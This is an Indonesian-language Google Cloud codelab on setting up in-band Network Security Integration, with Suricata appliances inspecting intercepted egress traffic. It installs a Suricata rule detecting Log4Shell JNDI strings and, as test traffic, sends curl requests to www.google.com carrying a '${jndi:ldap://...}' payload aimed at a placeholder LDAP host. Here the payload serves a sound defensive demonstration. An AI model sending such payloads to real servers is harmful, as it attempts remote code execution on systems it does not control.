Codelab Integrasi Keamanan Jaringan (NSI) Dalam Band

1. Pengantar

Integrasi Keamanan Jaringan

Network Security Integration (NSI) menawarkan fleksibilitas untuk meningkatkan keamanan jaringan bagi workload Anda. Anda dapat memanfaatkan perangkat khusus dari vendor software independen (ISV) pihak ketiga, atau memanfaatkan mesin deep packet inspection (DPI) untuk memeriksa payload. Untuk memungkinkan integrasi yang lancar dengan perangkat pihak ketiga ini, Google Cloud mempermudah deployment perangkat secara transparan tanpa perubahan jaringan atau perutean.

Google Cloud menawarkan dua jenis Integrasi Keamanan Jaringan - out-of-band dan in-band. Lab ini akan membahas langkah-langkah untuk men-deploy Integrasi Keamanan Jaringan dalam band.

Integrasi Keamanan Jaringan Dalam Band

Integrasi Keamanan Jaringan menyediakan integrasi dalam band menggunakan teknologi pencegatan paket yang memungkinkan Anda menempatkan peralatan jaringan pihak ketiga di jalur traffic jaringan untuk pemeriksaan transparan workload Google Cloud. Proses ini menggunakan Generic Network Virtualization Encapsulation (GENEVE) untuk mentranspor paket ke appliance secara aman tanpa mengubah alamat IP sumber dan tujuan asli.

Integrasi dalam band menawarkan pendekatan yang berfokus pada layanan untuk men-deploy dan menggunakan perangkat jaringan inline pihak ketiga dalam mode bump-in-the-wire. Sebagai produsen layanan, Anda dapat memublikasikan serangkaian peralatan jaringan pihak ketiga yang dapat diskalakan sebagai deployment pencegat. Sebagai konsumen layanan, Anda dapat menggunakan kebijakan dan aturan Cloud Next Generation Firewall untuk membuat pilihan traffic yang terperinci guna mengalihkan traffic secara transparan ke endpoint pencegatan lokal untuk diperiksa.

61bfbf754e04cf70.png

Gambar 1. Arsitektur deployment tingkat tinggi layanan integrasi dalam band

Untuk mengetahui informasi selengkapnya tentang integrasi NSI dalam band, lihat ringkasan integrasi dalam band.

Produsen Layanan Dalam Band

Produsen layanan adalah tempat perangkat pihak ketiga di-deploy dan dikelola. Hal ini dapat dikelola oleh seseorang di organisasi Anda (tim keamanan, dll.) atau vendor eksternal. Produsen mendaftarkan virtual machine mereka, yang dapat berupa peralatan pihak ketiga, sebagai backend ke Load Balancer Jaringan Passthrough internal di jaringan VPC mereka. Perangkat ini memeriksa traffic jaringan yang dialihkan ke perangkat tersebut. Produsen layanan kemudian membuat deployment Intercept, yaitu resource zona yang mengarah ke aturan penerusan Load Balancer Jaringan Passthrough internal.

Deployment pencegatan adalah resource zonal yang merepresentasikan layanan inspeksi produsen untuk zona tertentu. Produsen membuat deployment pencegat untuk setiap zona tempat mereka men-deploy VM.

Grup deployment pencegat adalah resource global dengan cakupan project yang memungkinkan konsumen terhubung ke layanan inspeksi produsen. Produsen membuat grup deployment pencegatan untuk mengelompokkan beberapa deployment pencegatan zonal. Produsen menggunakan IAM untuk mengontrol konsumen mana yang dapat terhubung ke grup deployment mereka.

Untuk mengetahui informasi selengkapnya, lihat Ringkasan grup deployment pencegatan dan Ringkasan deployment pencegatan.

In-band Service Consumer

Konsumen layanan menggunakan layanan inspeksi yang ditawarkan oleh produsen. Konsumen menentukan VPC mana yang ingin diperiksa dan dari produsen mana. Untuk melakukannya, konsumen membuat grup endpoint Intercept, yaitu resource global yang merepresentasikan sisi hubungan produsen-konsumen, dan menautkan grup endpoint intercept ke grup deployment intercept produsen.

Untuk mengaitkan grup endpoint pencegat dengan VPC yang ingin diperiksa trafficnya, konsumen membuat pengaitan grup endpoint pencegat. Untuk memilih traffic yang harus dikirim ke produsen untuk diperiksa, konsumen membuat dan menggunakan kebijakan firewall jaringan. Konsumen membuat grup profil keamanan yang berisi profil keamanan yang mereferensikan grup endpoint pencegat mereka. Konsumen kemudian membuat aturan firewall untuk mengalihkan traffic yang cocok dengan kriteria tertentu ke peralatan produsen.

Meskipun Intercept Endpoint Group(IEG) adalah resource tingkat project, IEG dan asosiasi IEG tidak harus berada dalam project yang sama. IEG dapat dirujuk oleh asosiasi IEG dari project lain dalam organisasi Anda. Objek ini mewakili sisi konsumen dalam hubungan produsen-konsumen. Konsumen membuat grup endpoint pencegat untuk menggunakan layanan inspeksi produsen. Setiap grup endpoint pencegatan di sisi konsumen dikaitkan dengan satu grup deployment pencegatan di sisi produsen.

Untuk mengetahui informasi selengkapnya, lihat Ringkasan grup dan asosiasi endpoint pencegat.

Konsumen harus membuat aturan kebijakan firewall untuk mengalihkan traffic ke grup endpoint pencegat mereka. Konsumen dapat menentukan kriteria pencocokan dalam aturan kebijakan firewall, yang memungkinkan mereka menentukan traffic mana yang akan diperiksa oleh appliance produsen.

Konsumen membuat profil keamanan pencegatan kustom untuk menentukan grup endpoint pencegatan mana yang harus digunakan untuk memeriksa traffic.

Konsumen membuat grup profil keamanan untuk menentukan grup fitur pemeriksaan keamanan yang harus diterapkan ke subset traffic tertentu. Grup profil keamanan berisi satu profil keamanan pencegatan kustom.

Yang akan Anda bangun

ea01a16258c792c1.png

Gambar 2. Arsitektur deployment tingkat tinggi untuk codelab ini

Untuk menyederhanakan codelab ini, Anda akan menggunakan satu project dan membuat dua jaringan VPC serta mengelola sejumlah resource jaringan dan keamanan. Lab ini akan menunjukkan cara men-deploy Integrasi Layanan Jaringan dalam band dengan perangkat pihak ketiga untuk penyisipan keamanan transparan.

Aliran yang akan diperiksa akan dipilih menggunakan parameter pencocokan Cloud Firewall, termasuk 5-tuple (IP sumber, IP tujuan, protokol, port sumber, port tujuan). Untuk menyederhanakan lab ini, Anda akan memeriksa semua traffic EGRESS di port TCP 80.

Produsen akan mengizinkan ingress dari IP gateway subnet VPC produsen (10.0.0.1/32) untuk paket UDP dengan port tujuan 6081 - port yang dikenal baik untuk GENEVE.

Status akhir basis aturan kebijakan firewall jaringan akan mirip dengan tabel di bawah:

Kebijakan Jaringan Produser:

Prioritas

Arah

Protokol

Target

Sumber

Tujuan

Port Tujuan

Tindakan

100

Masuk

Semua

Semua

Pemeriksaan Kondisi

Semua

Semua

Izinkan

200

Masuk

Semua

Semua

IAP

Semua

Semua

Izinkan

300

Masuk

UDP

Semua

10.0.0.1/32

Semua

6081

Izinkan

Kebijakan Jaringan Konsumen:

Prioritas

Arah

Protokol

Target

Sumber

Tujuan

Port Tujuan

Tindakan

200

Masuk

TCP

Semua

IAP

Semua

22

Izinkan

800

Keluar

TCP

Semua

Semua

Semua

80

Menyadap

Yang akan Anda pelajari

  • Cara men-deploy Network Security Integration in-band

Yang Anda butuhkan

  • Organisasi dan Project Google Cloud
  • Izin IAM yang sesuai
  • Pengetahuan tentang men-deploy instance dan mengonfigurasi komponen jaringan
  • Pengetahuan konfigurasi Network Policy Firewall

2. Sebelum memulai

Peran dan Izin IAM

Untuk menyelesaikan codelab In-band Network Security Integration (NSI), Anda memerlukan peran IAM berikut:

  • Compute Network Admin (roles/compute.networkAdmin): Diperlukan untuk membuat dan mengelola jaringan VPC, subnet, Cloud Router, gateway NAT, dan layanan backend load balancer.
  • Compute Security Admin (roles/compute.securityAdmin): Diperlukan untuk membuat, mengonfigurasi, dan mengaitkan kebijakan dan aturan firewall jaringan global.
  • Admin Instance Compute (roles/compute.instanceAdmin.v1): Diperlukan untuk men-deploy, menggunakan SSH untuk mengakses, dan akhirnya menghapus appliance Suricata dan VM pengujian konsumen.
  • Admin Deployment Intercept (roles/networksecurity.interceptDeploymentAdmin): Digunakan oleh produser untuk membuat dan mengelola deployment intercept zonal dan grup deployment global.
  • Intercept Endpoint Admin (roles/networksecurity.interceptEndpointAdmin): Digunakan oleh konsumen untuk membuat grup endpoint pencegat dan mengaitkannya dengan jaringan VPC mereka.
  • Pengguna Deployment Intercept (roles/networksecurity.interceptDeploymentUser): Diperlukan di project produsen untuk memberikan izin konsumen agar dapat terhubung ke grup deployment produsen.
  • Admin Profil Keamanan (roles/networksecurity.securityProfileAdmin): Diperlukan di tingkat organisasi untuk membuat dan mengelola profil keamanan pencegatan kustom dan grup profil keamanan.
  • Admin Penggunaan Layanan (roles/serviceusage.serviceUsageAdmin): Diperlukan untuk mengaktifkan API networksecurity.googleapis.com dan compute.googleapis.com yang diperlukan untuk fitur NSI.
  • Project Viewer (roles/viewer): Diperlukan untuk mengambil informasi konfigurasi project dan silsilah organisasi untuk variabel lingkungan yang digunakan di seluruh lab.

Google Cloud API

Pastikan Google Cloud API yang diperlukan diaktifkan di project Anda.

Aktifkan API yang diperlukan, jalankan perintah gcloud berikut dalam Cloud Shell.

gcloud services enable compute.googleapis.com \
networksecurity.googleapis.com \
cloudresourcemanager.googleapis.com

Membuat/memperbarui variabel

Codelab ini menggunakan $variables untuk membantu penerapan konfigurasi gcloud di Cloud Shell.

Di Cloud Shell, jalankan perintah di bawah dengan mengganti informasi dalam tanda kurung sesuai kebutuhan:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zonea=[first-zone from $region]
export zoneb=[second-zone from $region]
export zonec=[third-zone from $region]

3. Tindakan Produser

Bagian ini akan membahas sisi deployment produser. Hal ini mencakup men-deploy VPC, perlengkapan virtual jaringan pihak ketiga, dan semua komponen yang relevan untuk Integrasi Keamanan Jaringan.

Komponen VPC dan Cloud NAT

  1. Buat VPC dan subnet:
gcloud compute networks create producer-vpc --subnet-mode=custom 

gcloud compute networks subnets create producer-$region-subnet \
   --range=10.0.0.0/24 --network=producer-vpc --region=$region
  1. Dapatkan IP gateway subnet untuk penggunaan aturan firewall:
export gatewayip=$(gcloud compute networks subnets list --project=$project_id --network=producer-vpc --format=json | jq -r '.[0].gatewayAddress')
  1. Buat kebijakan dan aturan FW untuk VPC produsen. Aturan FW ini akan mengizinkan ingress untuk health check, IAP, dan traffic yang bersumber dari NSI:
gcloud compute network-firewall-policies create producer-fwpolicy \
  --global
                                                      
gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from ilb health-check ranges" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80 \
        --direction=INGRESS \
        --src-ip-ranges=35.191.0.0/16,130.211.0.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

gcloud compute network-firewall-policies rules create 300 \
        --description="allow GENEVE UDP:6081 packets from gateway" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=udp:6081 \
        --direction=INGRESS \
        --src-ip-ranges=$gatewayip
 
  1. Mengaitkan VPC produsen ke Kebijakan Firewall Jaringan:
gcloud compute network-firewall-policies associations create \
        --firewall-policy producer-fwpolicy \
        --network producer-vpc \
        --name producer-fwpolicy-association \
        --global-firewall-policy
  1. Deploy Cloud Router dan Cloud NAT untuk Appliance Virtual Jaringan (NVA) pihak ketiga guna mendownload paket dan update yang diperlukan:
gcloud compute addresses create producer-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$region-cloudnatip --format="value(address)")

gcloud compute routers create producer-$region-cr \
  --region=$region --network=producer-vpc

gcloud compute routers nats create producer-cloudnat-$region \
   --router=producer-$region-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=producer-$region-cloudnatip

VM pihak ketiga

Untuk lab ini, Anda akan men-deploy Suricata, layanan deteksi ancaman open source. Perintah ini memiliki skrip startup yang akan menginstal dan mengonfigurasi Suricata. Ada juga iptables yang melakukan Penafsiran Alamat Jaringan Sumber (SNAT) dan Penafsiran Alamat Jaringan Tujuan (DNAT) untuk menangani dan merespons paket GENEVE.

  1. Deploy NVA pihak ketiga di zona pertama Anda.
gcloud compute instances create suricata-$zonea \
   --shielded-secure-boot \
   --subnet=producer-$region-subnet \
   --no-address \
   --private-network-ip 10.0.0.3 \
   --zone $zonea \
   --metadata startup-script='#! /bin/bash
      sudo sysctl -w net.ipv4.ip_forward=1
        apt-get update
        apt-get install nginx suricata tcpdump -y
      sudo suricata-update
      sudo systemctl stop suricata
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
      sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
      sudo iptables -I FORWARD -j NFQUEUE
      sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
      sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
      sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
     sudo systemctl daemon-reload
     sudo systemctl stop suricata
     sleep 5
     sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
     sleep 10
'
  1. Deploy NVA pihak ketiga di zona kedua Anda:
gcloud compute instances create suricata-$zoneb \
   --shielded-secure-boot \
   --subnet=producer-$region-subnet \
   --no-address \
   --private-network-ip 10.0.0.4 \
   --zone $zoneb \
   --metadata startup-script='#! /bin/bash
      sudo sysctl -w net.ipv4.ip_forward=1
        apt-get update
        apt-get install nginx suricata tcpdump -y
      sudo suricata-update
      sudo systemctl stop suricata
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
      sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
      sudo iptables -I FORWARD -j NFQUEUE
      sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
      sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
      sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
     sudo systemctl daemon-reload
     sudo systemctl stop suricata
     sleep 5
     sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
     sleep 10
'

Komponen Load balancer Produsen

  1. Buat health check generik yang digunakan untuk memeriksa ketersediaan NVA pihak ketiga Anda:
gcloud compute health-checks create http nva-hc
  1. Buat grup instance tidak terkelola zonal untuk setiap zona:
gcloud compute instance-groups unmanaged create producer-$zonea-uig \
   --zone $zonea

gcloud compute instance-groups unmanaged create producer-$zoneb-uig \
   --zone $zoneb
  1. Tambahkan instance ke grup instance:
gcloud compute instance-groups unmanaged add-instances producer-$zonea-uig --instances=suricata-$zonea --zone=$zonea

gcloud compute instance-groups unmanaged add-instances producer-$zoneb-uig --instances=suricata-$zoneb --zone=$zoneb

Validasi bahwa grup instance Anda berisi instance Anda dengan perintah berikut:

gcloud compute instance-groups unmanaged list-instances producer-$zonea-uig --zone=$zonea

gcloud compute instance-groups unmanaged list-instances producer-$zoneb-uig --zone=$zoneb

Contoh output:

NAME: suricata-$zonea
STATUS: RUNNING

NAME: suricata-$zoneb
STATUS: RUNNING
  1. Buat layanan backend UDP internal:
gcloud compute backend-services create producer-bes \
  --protocol=UDP \
  --region=projects/$project_id/regions/$region \
  --health-checks=projects/$project_id/global/healthChecks/nva-hc \
  --load-balancing-scheme=INTERNAL
  1. Tambahkan kedua grup instance ke layanan backend:
gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zonea/instanceGroups/producer-$zonea-uig --region=$region

gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zoneb/instanceGroups/producer-$zoneb-uig --region=$region
  1. Cadangkan IP internal untuk aturan penerusan Anda. Setiap deployment pencegatan memerlukan aturan penerusan yang unik:
gcloud compute addresses create producer-fr-$zonea-ip \
    --region $region --subnet producer-$region-subnet \
    --addresses 10.0.0.11

gcloud compute addresses create producer-fr-$zoneb-ip \
    --region $region --subnet producer-$region-subnet \
    --addresses 10.0.0.12
  1. Buat aturan penerusan untuk setiap zona. Hal ini diperlukan karena deployment pencegatan memerlukan aturan penerusan yang unik:
gcloud compute forwarding-rules create producer-fr-$zonea \
  --ip-protocol=UDP --address=10.0.0.11 \
  --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \
  --ip-version=IPV4 \
  --ports=6081 \
  --load-balancing-scheme=INTERNAL \
  --region=projects/$project_id/regions/$region \
  --network=projects/$project_id/global/networks/producer-vpc \
  --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet
  
gcloud compute forwarding-rules create producer-fr-$zoneb \
  --ip-protocol=UDP --address=10.0.0.12 \
  --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \
  --ip-version=IPV4 \
  --ports=6081 \
  --load-balancing-scheme=INTERNAL \
  --region=projects/$project_id/regions/$region \
  --network=projects/$project_id/global/networks/producer-vpc \
  --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet

Komponen Integrasi Keamanan Jaringan

  1. Buat grup penayangan iklan intersep:
gcloud network-security intercept-deployment-groups create producer-nsi-deployment-group \
    --location global \
    --no-async \
    --network producer-vpc

Validasi bahwa grup deployment berhasil dibuat:

gcloud network-security intercept-deployment-groups describe producer-nsi-deployment-group \
    --location global

Contoh Output:

createTime: '2025-01-16T06:13:48.075183628Z'
name: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
network: projects/$project_id/global/networks/producer-vpc
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:13:50.556947138Z'
  1. Buat deployment intersep untuk setiap zona:
gcloud network-security intercept-deployments create nsi-deployment-$zonea \
    --location $zonea \
    --forwarding-rule producer-fr-$zonea \
    --forwarding-rule-location $region \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group


gcloud network-security intercept-deployments create nsi-deployment-$zoneb \
    --location $zoneb \
    --forwarding-rule producer-fr-$zoneb \
    --forwarding-rule-location $region \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group

Validasi bahwa deployment pencegat berhasil dibuat:

gcloud network-security intercept-deployments describe nsi-deployment-$zonea \
    --location $zonea

gcloud network-security intercept-deployments describe nsi-deployment-$zoneb \
    --location $zoneb

Contoh output:

createTime: '2025-01-16T06:27:08.834875130Z'
forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/$zonea/interceptDeployments/nsi-deployment-$zonea
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:34:14.401072601Z'


createTime: '2025-01-16T06:33:47.798469786Z'
forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr-$zoneb
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/us-west1-b/interceptDeployments/nsi-deployment-$zoneb
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:34:25.258447474Z'

Selamat, Anda telah menyelesaikan penyiapan sisi produsen. Selanjutnya, Anda akan mengonfigurasi sisi konsumen untuk mencegat traffic dan mengirimkannya secara transparan ke peralatan pihak ketiga untuk penegakan.

4. Tindakan Konsumen

Meskipun lab ini menggunakan VPC terpisah dalam satu project agar lebih sederhana, di lingkungan dunia nyata, resource produsen dan konsumen dapat berada di project yang berbeda atau bahkan di berbagai organisasi.

Komponen VPC dan Cloud NAT

  1. Buat VPC dan subnet:
gcloud compute networks create consumer-vpc --subnet-mode=custom 

gcloud compute networks subnets create consumer-$region-subnet \
   --range=192.168.0.0/24 --network=consumer-vpc --region=$region
  1. Buat gateway Cloud Router dan Cloud NAT:
gcloud compute addresses create consumer-$region-cloudnatip \
     --region=$region

export cloudnatip=$(gcloud compute addresses list \
     --filter=name:consumer-$region-cloudnatip \
     --format="value(address)")

gcloud compute routers create consumer-$region-cr \
    --region=$region \
    --network=consumer-vpc

gcloud compute routers nats create consumer-cloudnat-$region \
   --router=consumer-$region-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=consumer-$region-cloudnatip

Grup dan Pengaitan Endpoint Intersep

  1. Buat Grup Endpoint Intersep:
gcloud network-security intercept-endpoint-groups create nsi-endpoint-group \
    --location global \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group

Validasi bahwa endpoint berhasil dibuat:

gcloud network-security intercept-endpoint-groups describe nsi-endpoint-group \
    --location global 

Contoh Output:

createTime: '2025-01-16T06:37:10.620185836Z'
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:37:22.707994466Z'
  1. Buat pengaitan grup endpoint pencegat yang menentukan VPC konsumen:
gcloud network-security intercept-endpoint-group-associations create nsi-endpoint-group-assoc \
    --location global \
    --network consumer-vpc \
    --no-async \
    --intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group

Validasi:

gcloud network-security intercept-endpoint-group-associations describe nsi-endpoint-group-assoc \
    --location global

Contoh output:

createTime: '2025-01-16T06:40:21.125202733Z'
interceptEndpointGroup: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
locations:
- location: $zonea
  state: ACTIVE
- location: $zoneb
  state: ACTIVE
name: projects/$project_id/locations/global/interceptEndpointGroupAssociations/nsi-endpoint-group-assoc
network: projects/$project_id/global/networks/consumer-vpc
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:40:56.085493855Z'

Grup Profil Keamanan dan Profil Keamanan

Selanjutnya, Anda akan membuat profil keamanan kustom untuk mencegat dan melampirkannya ke grup profil keamanan. Profil keamanan dan grup profil keamanan digunakan untuk penyadapan paket bagi perangkat pihak ketiga.

  1. Buat Profil Keamanan pencegat kustom:
gcloud network-security security-profiles custom-intercept create nsi-intercept-profile \
    --organization $org_id \
    --location global \
    --billing-project $project_id \
    --intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group

Pastikan profil keamanan berhasil dibuat:

gcloud network-security security-profiles custom-intercept \
describe nsi-intercept-profile \
--organization=$org_id \
--location=global

Contoh output:

{
  "createTime": "2025-01-16T20:25:21.545756039Z",
  "customInterceptProfile": {
    "interceptEndpointGroup": "projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group"
  },
  "etag": "vBAcVRe70k70rNJ3stzuCAvp_JbiPD2IWqcHKKAGlzw",
  "name": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
  "type": "CUSTOM_INTERCEPT",
  "updateTime": "2025-01-16T20:25:24.101764860Z"
}
  1. Buat Grup Profil Keamanan:
gcloud network-security security-profile-groups create nsi-spg \
   --custom-intercept-profile=nsi-intercept-profile \
   --organization=$org_id \
   --project=$project_id \
  --location=global 

Pastikan SPG berhasil dibuat:

gcloud network-security security-profile-groups describe nsi-spg \
    --organization $org_id \
    --billing-project $project_id \
    --location global

Contoh output:

 "createTime": "2025-01-16T20:31:23.545946850Z",
  "customInterceptProfile": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
  "etag": "bAE-90dCYvYfOKga4EfGXWRGuJXJpsiTEEgVsw3AmM0",
  "name": "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg",
  "updateTime": "2025-01-16T20:31:27.588870973Z"

Kebijakan, Aturan, dan Pengaitan Firewall

  1. Buat kebijakan firewall jaringan global:
gcloud compute network-firewall-policies create consumer-fwpolicy \
     --global
  1. Buat aturan firewall:
gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=consumer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
      --src-ip-ranges=35.235.240.0/20
  1. Buat aturan firewall untuk mencegat semua traffic keluar yang memanfaatkan NSI untuk dikirim ke appliance pihak ketiga kami secara transparan. Aturan ini akan mengirim semua traffic keluar TCP:80 untuk diperiksa.
gcloud compute network-firewall-policies rules create 800 \
    --action APPLY_SECURITY_PROFILE_GROUP \
    --firewall-policy consumer-fwpolicy \
    --security-profile-group "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg" \
    --direction EGRESS \
    --layer4-configs tcp:80 \
    --dest-ip-ranges 0.0.0.0/0 \
    --global-firewall-policy
  1. Kaitkan kebijakan firewall cloud ke jaringan VPC:
gcloud compute network-firewall-policies associations create \
        --firewall-policy consumer-fwpolicy \
        --network consumer-vpc \
        --name consumer-fwpolicy-association \
        --global-firewall-policy

Consumer VM

  1. Men-deploy VM yang digunakan untuk memvalidasi NSI. Anda akan men-deploy 3 VM di 3 zona. Ingat bahwa hanya 2 zona yang mengaktifkan NSI, sedangkan $zonec tidak.
gcloud compute instances create consumer-$zonea \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.3 \
   --no-address \
   --zone $zonea 

gcloud compute instances create consumer-$zoneb \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.4 \
   --no-address \
   --zone $zoneb

gcloud compute instances create consumer-$zonec \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.5 \
   --no-address \
   --zone $zonec 

Menguji Integrasi Keamanan Jaringan dalam band

  1. Gunakan SSH untuk terhubung ke VM di $zonea (consumer-$zonea). Mengirim traffic pengujian:
gcloud compute ssh consumer-$zonea \
   --zone $zonea 
  1. Kirim traffic pengujian ke http://www.google.com:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

Output yang diharapkan:

200

Kode status HTTP 200 menunjukkan bahwa permintaan klien telah berhasil diterima, dipahami, dan diproses oleh server.

  1. Kirim permintaan log4j yang harus diblokir oleh Suricata melalui NSI.
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

Output yang diharapkan:

000

Kode respons HTTP 000 adalah kode tidak resmi dan non-standar yang digunakan oleh software tertentu, untuk menunjukkan bahwa tidak ada kode status HTTP yang valid diterima. Hal ini kemungkinan berarti permintaan diblokir oleh firewall.

  1. Kembali ke Cloud Shell dengan keluar dari sesi SSH
exit
  1. SSH ke VM di $zoneb (consumer-$zoneb)
gcloud compute ssh consumer-$zoneb \
   --zone $zoneb 
  1. Demikian pula, kirim traffic pengujian:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

Output yang diharapkan:

200
  1. Kirim permintaan log4j:
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

Output yang diharapkan:

000
  1. Kembali ke Cloud Shell dengan keluar dari sesi SSH
exit
  1. SSH ke VM di $zonec (consumer-$zonec)
gcloud compute ssh consumer-$zonec \
   --zone $zonec
  1. Demikian pula, kirim traffic pengujian:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

Output yang diharapkan:

200
  1. Kirim permintaan log4j:
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

Output yang diharapkan:

200

Perhatikan bahwa permintaan ini berhasil. Hal ini wajar karena Anda tidak mengonfigurasi NSI dengan $zonec. Grup endpoint pencegat hanya memiliki asosiasi untuk $zonea dan $zoneb.

  1. Kembali ke Cloud Shell dengan keluar dari sesi SSH
exit

Memvalidasi bahwa Suricata menerima dan memblokir permintaan berbahaya

  1. Gunakan SSH untuk mengakses VM Suricata di $zonea (suricata-$zonea) guna memeriksa log:
gcloud compute ssh suricata-$zonea \
   --zone $zonea
  1. Lihat log yang difilter berdasarkan jenis serangan:
cat /var/log/suricata/eve.json | grep log4j

Anda mungkin melihat beberapa entri. Jika Anda tidak melihat entri apa pun, periksa log untuk VM Suricata di $zoneb. Contoh output:

